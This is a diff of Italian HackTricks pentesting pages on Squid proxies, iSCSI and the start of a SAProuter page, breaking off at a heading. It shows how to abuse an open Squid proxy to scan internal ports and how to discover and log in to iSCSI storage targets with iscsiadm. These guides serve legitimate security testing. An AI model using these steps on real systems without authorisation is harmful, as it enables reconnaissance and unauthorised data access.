> **Squid** è un proxy web HTTP di caching e inoltro. Ha una vasta gamma di utilizzi, tra cui velocizzare un server web memorizzando le richieste ripetute, memorizzare in cache ricerche web, DNS e altre ricerche di rete informatica per un gruppo di persone che condividono risorse di rete, e aiutare la sicurezza filtrando il traffico. Sebbene utilizzato principalmente per HTTP e FTP, Squid include un supporto limitato per diversi altri protocolli tra cui Internet Gopher, SSL, TLS e HTTPS. Squid non supporta il protocollo SOCKS, a differenza di Privoxy, con il quale Squid può essere utilizzato per fornire supporto SOCKS.
|
> **Squid** è un proxy web HTTP di caching e forwarding. Ha una vasta gamma di utilizzi, tra cui accelerare un server web memorizzando nella cache richieste ripetute, memorizzare nella cache ricerche web, DNS e altre ricerche di rete per un gruppo di persone che condividono risorse di rete e aiutare la sicurezza filtrando il traffico. Sebbene sia utilizzato principalmente per HTTP e FTP, Squid include supporto limitato per diversi altri protocolli tra cui Internet Gopher, SSL, TLS e HTTPS. Squid non supporta il protocollo SOCKS, a differenza di Privoxy, con cui Squid può essere utilizzato per fornire supporto SOCKS.
|
||||||
|
|
||||||
**Porta predefinita:** 3128
|
**Porta predefinita:** 3128
|
||||||
```
|
```
|
||||||
|
@ -26,37 +27,38 @@ PORT STATE SERVICE VERSION
|
||||||
```
|
```
|
||||||
# Enumerazione
|
# Enumerazione
|
||||||
|
|
||||||
## Proxy Web
|
## Web Proxy
|
||||||
|
|
||||||
Puoi provare a impostare questo servizio scoperto come proxy nel tuo browser. Tuttavia, se è configurato con autenticazione HTTP, ti verrà richiesto di inserire nome utente e password.
|
Puoi provare a impostare questo servizio scoperto come proxy nel tuo browser. Tuttavia, se è configurato con autenticazione HTTP, ti verrà chiesto di inserire nome utente e password.
|
||||||
```bash
|
```bash
|
||||||
# Try to proxify curl
|
# Try to proxify curl
|
||||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||||
```
|
```
|
||||||
## Nmap con proxy
|
## Nmap proxified
|
||||||
|
|
||||||
Puoi anche provare ad abusare del proxy per **scansionare le porte interne tramite nmap**.\
|
Puoi anche provare ad abusare del proxy per **scansionare le porte interne proxificando nmap**.\
|
||||||
Configura proxychains per utilizzare il proxy squid aggiungendo la seguente riga alla fine del file proxichains.conf: `http 10.10.10.10 3128`
|
Configura proxychains per utilizzare il proxy squid aggiungendo la seguente riga alla fine del file proxichains.conf: `http 10.10.10.10 3128`
|
||||||
Per i proxy che richiedono autenticazione, aggiungi le credenziali alla configurazione includendo alla fine username e password: `http 10.10.10.10 3128 username passw0rd`.
|
Per i proxy che richiedono autenticazione, aggiungi le credenziali alla configurazione includendo il nome utente e la password alla fine: `http 10.10.10.10 3128 username passw0rd`.
|
||||||
|
|
||||||
Successivamente esegui nmap con proxychains per **scansionare l'host da locale**: `proxychains nmap -sT -n -p- localhost`
|
Poi esegui nmap con proxychains per **scansionare l'host da locale**: `proxychains nmap -sT -n -p- localhost`
|
||||||
|
|
||||||
## SPOSE Scanner
|
## SPOSE Scanner
|
||||||
|
|
||||||
In alternativa, è possibile utilizzare lo Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)).
|
In alternativa, può essere utilizzato lo Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)).
|
||||||
```bash
|
```bash
|
||||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,26 +1,27 @@
|
||||||
# 3260 - Pentesting ISCSI
|
# 3260 - Pentesting ISCSI
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
Da [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
Da [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||||
|
|
||||||
> Nel campo dell'informatica, **iSCSI** è l'acronimo di **Internet Small Computer Systems Interface**, uno standard di rete di archiviazione basato su Internet Protocol (IP) per collegare strutture di archiviazione dati. Fornisce accesso a livello di blocco ai dispositivi di archiviazione trasportando comandi SCSI su una rete TCP/IP. iSCSI viene utilizzato per facilitare il trasferimento di dati su intranet e per gestire l'archiviazione su lunghe distanze. Può essere utilizzato per trasmettere dati su reti locali (LAN), reti geografiche (WAN) o Internet e può consentire l'archiviazione e il recupero dei dati indipendenti dalla posizione.
|
> In informatica, **iSCSI** è un acronimo per **Internet Small Computer Systems Interface**, uno standard di rete di archiviazione basato su protocollo Internet (IP) per collegare strutture di archiviazione dati. Fornisce accesso a livello di blocco ai dispositivi di archiviazione trasmettendo comandi SCSI su una rete TCP/IP. iSCSI è utilizzato per facilitare il trasferimento di dati su intranet e per gestire l'archiviazione su lunghe distanze. Può essere utilizzato per trasmettere dati su reti locali (LAN), reti geografiche (WAN) o su Internet e può abilitare l'archiviazione e il recupero dei dati indipendentemente dalla posizione.
|
||||||
>
|
>
|
||||||
> Il protocollo consente ai client (chiamati initiator) di inviare comandi SCSI (CDB) ai dispositivi di archiviazione (target) su server remoti. È un protocollo di rete di archiviazione (SAN), che consente alle organizzazioni di consolidare l'archiviazione in array di archiviazione fornendo contemporaneamente ai client (come database e server web) l'illusione di dischi SCSI collegati localmente. Concorre principalmente con Fibre Channel, ma a differenza del tradizionale Fibre Channel che di solito richiede cavi dedicati, iSCSI può essere eseguito su lunghe distanze utilizzando l'infrastruttura di rete esistente.
|
> Il protocollo consente ai client (chiamati iniziatori) di inviare comandi SCSI (CDB) ai dispositivi di archiviazione (target) su server remoti. È un protocollo di rete di archiviazione (SAN), che consente alle organizzazioni di consolidare l'archiviazione in array di archiviazione fornendo ai client (come server di database e web) l'illusione di dischi SCSI collegati localmente. Compete principalmente con Fibre Channel, ma a differenza del tradizionale Fibre Channel che di solito richiede cablaggio dedicato, iSCSI può essere eseguito su lunghe distanze utilizzando l'infrastruttura di rete esistente.
|
||||||
|
|
||||||
**Porta predefinita:** 3260
|
**Porta predefinita:** 3260
|
||||||
```
|
```
|
||||||
|
@ -28,102 +29,64 @@ PORT STATE SERVICE VERSION
|
||||||
3260/tcp open iscsi?
|
3260/tcp open iscsi?
|
||||||
```
|
```
|
||||||
## Enumerazione
|
## Enumerazione
|
||||||
|
|
||||||
### iSCSI Discovery
|
|
||||||
|
|
||||||
The first step in enumerating iSCSI targets is to perform an iSCSI discovery. This involves sending an iSCSI discovery request to the target's IP address and port number. The target will respond with a list of available iSCSI targets.
|
|
||||||
|
|
||||||
To perform an iSCSI discovery, you can use the `iscsiadm` command-line tool. Here is an example command:
|
|
||||||
|
|
||||||
```
|
|
||||||
iscsiadm -m discovery -t sendtargets -p <target_ip>:<port>
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<target_ip>` with the IP address of the target and `<port>` with the port number. This command will send an iSCSI discovery request to the target and display the list of available targets.
|
|
||||||
|
|
||||||
### iSCSI Target Enumeration
|
|
||||||
|
|
||||||
Once you have obtained the list of available iSCSI targets, you can proceed with enumerating each target to gather more information. This can include details such as the target's name, IQN (iSCSI Qualified Name), and supported authentication methods.
|
|
||||||
|
|
||||||
To enumerate an iSCSI target, you can use the `iscsiadm` command-line tool again. Here is an example command:
|
|
||||||
|
|
||||||
```
|
|
||||||
iscsiadm -m node -T <target_name> -p <target_ip>:<port> -l
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<target_name>` with the name of the target, `<target_ip>` with the IP address, and `<port>` with the port number. This command will log in to the specified target and display detailed information about it.
|
|
||||||
|
|
||||||
### iSCSI CHAP Authentication Enumeration
|
|
||||||
|
|
||||||
If the iSCSI target uses CHAP (Challenge-Handshake Authentication Protocol) for authentication, you can also enumerate the CHAP credentials. CHAP is a widely used authentication method in iSCSI.
|
|
||||||
|
|
||||||
To enumerate CHAP credentials, you can use the `iscsiadm` command-line tool once again. Here is an example command:
|
|
||||||
|
|
||||||
```
|
|
||||||
iscsiadm -m node -T <target_name> -p <target_ip>:<port> -o update -n node.session.auth.authmethod -v CHAP
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<target_name>` with the name of the target, `<target_ip>` with the IP address, and `<port>` with the port number. This command will update the authentication method to CHAP and display the CHAP credentials.
|
|
||||||
|
|
||||||
By performing these enumeration techniques, you can gather valuable information about iSCSI targets and their authentication methods, which can be useful for further penetration testing activities.
|
|
||||||
```
|
```
|
||||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||||
```
|
```
|
||||||
Questo script indicherà se è richiesta l'autenticazione.
|
Questo script indicherà se è necessaria l'autenticazione.
|
||||||
|
|
||||||
### [Forza bruta](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||||
|
|
||||||
### [Montare ISCSI su Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
### [Mount ISCSI su Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||||
|
|
||||||
**Nota:** Potresti scoprire che quando i tuoi obiettivi vengono individuati, vengono elencati con un indirizzo IP diverso. Questo tende a succedere se il servizio iSCSI è esposto tramite NAT o un IP virtuale. In casi come questi, `iscsiadmin` non riuscirà a connettersi. Questo richiede due modifiche: una al nome della directory del nodo creato automaticamente dalle tue attività di scoperta e una al file `default` contenuto in questa directory.
|
**Nota:** Potresti scoprire che quando i tuoi obiettivi vengono trovati, sono elencati sotto un indirizzo IP diverso. Questo tende a succedere se il servizio iSCSI è esposto tramite NAT o un IP virtuale. In casi come questi, `iscsiadmin` non riuscirà a connettersi. Questo richiede due modifiche: una al nome della directory del nodo creato automaticamente dalle tue attività di scoperta e una al file `default` contenuto all'interno di questa directory.
|
||||||
|
|
||||||
Ad esempio, stai cercando di connetterti a un target iSCSI su 123.123.123.123 alla porta 3260. Il server che espone il target iSCSI è in realtà a 192.168.1.2 ma esposto tramite NAT. isciadm registrerà l'indirizzo _interno_ anziché l'indirizzo _pubblico_:
|
Ad esempio, stai cercando di connetterti a un obiettivo iSCSI su 123.123.123.123 alla porta 3260. Il server che espone l'obiettivo iSCSI si trova effettivamente su 192.168.1.2 ma è esposto tramite NAT. isciadm registrerà l'indirizzo _interno_ piuttosto che l'indirizzo _pubblico_:
|
||||||
```
|
```
|
||||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
Questo comando creerà una directory nel tuo filesystem come segue:
|
Questo comando creerà una directory nel tuo filesystem in questo modo:
|
||||||
```
|
```
|
||||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||||
```
|
```
|
||||||
All'interno della directory, c'è un file predefinito con tutte le impostazioni necessarie per connettersi all'obiettivo.
|
All'interno della directory, c'è un file predefinito con tutte le impostazioni necessarie per connettersi al target.
|
||||||
|
|
||||||
1. Rinomina `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` in `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
1. Rinomina `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` in `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||||
2. All'interno di `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, cambia l'impostazione `node.conn[0].address` in modo che punti a 123.123.123.123 anziché a 192.168.1.2. Questo può essere fatto con un comando come `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
2. All'interno di `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, cambia l'impostazione `node.conn[0].address` per puntare a 123.123.123.123 invece di 192.168.1.2. Questo può essere fatto con un comando come `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||||
|
|
||||||
Ora puoi montare l'obiettivo seguendo le istruzioni nel link.
|
Ora puoi montare il target secondo le istruzioni nel link.
|
||||||
|
|
||||||
### [Montare ISCSI su Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
### [Mount ISCSI on Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||||
|
|
||||||
## **Enumerazione manuale**
|
## **Enumerazione manuale**
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install open-iscsi
|
sudo apt-get install open-iscsi
|
||||||
```
|
```
|
||||||
Esempio da [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
Esempio dalla [documentazione di iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||||
|
|
||||||
Prima di tutto devi **scoprire il nome degli obiettivi** dietro l'indirizzo IP:
|
Prima di tutto è necessario **scoprire i nomi dei target** dietro l'IP:
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||||
```
|
```
|
||||||
_Nota che mostrerà l'I**P e la porta delle interfacce** a cui puoi **raggiungere** quei **target**. Può anche **mostrare IP interni o IP diversi** da quello che hai utilizzato._
|
_Nota che mostrerà l'I**P e la porta delle interfacce** dove puoi **raggiungere** quegli **obiettivi**. Può persino **mostrare IP interni o IP diversi** da quello che hai usato._
|
||||||
|
|
||||||
Quindi **cattura la seconda parte della stringa stampata di ogni riga** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ dalla prima riga) e **prova ad effettuare il login**:
|
Poi **cattura la 2ª parte della stringa stampata di ogni riga** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ dalla prima riga) e **prova a effettuare il login**:
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||||
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||||
```
|
```
|
||||||
Quindi, puoi **effettuare il logout** utilizzando `–logout`
|
Poi, puoi **logout** usando `–logout`
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
||||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||||
```
|
```
|
||||||
Possiamo trovare **ulteriori informazioni** a riguardo semplicemente utilizzando **senza** alcun parametro `--login`/`--logout`
|
Possiamo trovare **ulteriori informazioni** su di esso semplicemente utilizzando **senza** alcun parametro `--login`/`--logout`
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||||
# BEGIN RECORD 2.0-873
|
# BEGIN RECORD 2.0-873
|
||||||
|
@ -199,7 +162,7 @@ node.conn[0].iscsi.IFMarker = No
|
||||||
node.conn[0].iscsi.OFMarker = No
|
node.conn[0].iscsi.OFMarker = No
|
||||||
# END RECORD
|
# END RECORD
|
||||||
```
|
```
|
||||||
**C'è uno script per automatizzare il processo di enumerazione di base del subnet disponibile su** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
**C'è uno script per automatizzare il processo di enumerazione di base delle subnet disponibile su** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||||
|
|
||||||
## **Shodan**
|
## **Shodan**
|
||||||
|
|
||||||
|
@ -210,16 +173,17 @@ node.conn[0].iscsi.OFMarker = No
|
||||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,71 +1,74 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
```text
|
```text
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
3299/tcp open saprouter?
|
3299/tcp open saprouter?
|
||||||
```
|
```
|
||||||
## Comprensione della penetrazione di SAProuter con Metasploit
|
